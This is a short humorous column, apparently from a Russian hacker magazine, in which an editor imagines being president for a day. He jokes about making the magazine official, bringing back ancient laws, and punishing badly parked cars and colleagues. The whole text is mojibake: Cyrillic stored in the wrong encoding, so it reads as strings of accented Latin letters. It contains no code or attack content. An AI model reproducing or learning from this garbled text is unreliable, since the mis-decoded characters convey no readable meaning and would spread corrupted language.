êàê âû äóìàåòå, åñëè òàðàêàíó îòðåçàòü ãîëîâó, îí óñïååò ñêàçàòü «áèï òâîþ áèï»? Íèêàê íå ïîéìàþ íè îäíîãî äëÿ òåñòîâ, à èíòåðåñíî,

áëèí. Òàê, ôóô, âðîäå îòïóñòèëî. DR.KLOUNIZ Åñëè áû ÿ áûë ïðåçèäåíòîì�êîíå÷íî, ÿ áû  ïðèäàë æóðíàëó Õàêåð ñòàòóñ îôèöèàëüíîãî,

ãîñóäàðñòâåííîãî æóðíàëà è ïðèáàâèë áû ê íåìó ÕàêåðÑïåö «Çàêîí», â êîòîðîì ÿ áû èçëèâàë ñâîè íîâûå çàêîíû, àêòû è íîðìû. Íå çàáûë áû

ÿ è íàñëåäèå ïðåäêîâ. Âîò, íàïðèìåð, êîäåêñ Õàììóðàïè � êàê íàñ÷åò âûäàâàòü ÷èíîâíèêàì çàðïëàòó òåìíûì ïèâîì, à çà áþðîêðàòèþ � ðóáèòü

ðóêè? Õîðîøèé çàêîí!  Êîíå÷íî, îòäåëüíûì ïîñòàíîâëåíèåì ÿ áû çàñòàâèë âñåõ âîäèë âûó÷èòü ÏÄÄ  â íóæíîì îáúåìå, à âñå íåïðàâèëüíî

ïðèïàðêîâàííûå îêîëî ðåäàêöèè ìàøèíû � îòäàâàë áû æèòåëÿì Îñòðîâà Ìàâðèêèé â çíàê äðóæáû ìåæäó íàðîäàìè. Íó è êîíå÷íî, â

îáÿçàòåëüíîì ïîðÿäêå âûïèñàë 50 óäàðîâ ïàëêîé ïî ïÿòêàì Õèíòó è çàáàíèë áû èõ  ñ Áóáëèêîì â ÆÆ. Äëÿ ïîäíÿòèÿ ñêîðîñòè ðàáîòû :)
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ÒÛ, ÍÀÂÅÐÍÎÅ, ÌÅ×ÒÀË ÑÒÀÒÜ ÂÀÆÍÎÉ ØÈØÊÎÉ? ÍÅ
ÑÎÌÍÅÂÀÞÑÜ. ß ÒÎÆÅ ÊÀÆÄÛÉ ÂÅ×ÅÐ  ÏÅÐÅÄ ÑÍÎÌ
ÏÐÅÄÑÒÀÂËßÞ ÑÅÁß ÑÀØÅÉ ÁÅËÛÌ :). ÌÍÅ ÂÎÒ ÑÒÀËÎ ÈÍ-
ÒÅÐÅÑÍÎ, ×ÒÎ ÁÛ ÑÄÅËÀËÈ ÍÀØÈ ÐÅÄÀÊÒÎÐÛ, ÏÎËÓ×È
ÎÍÈ ÍÀ ÑÓÒÊÈ ÏÐÀÂÎ ÁÛÒÜ ÏÐÅÇÈÄÅÍÒÎÌ?
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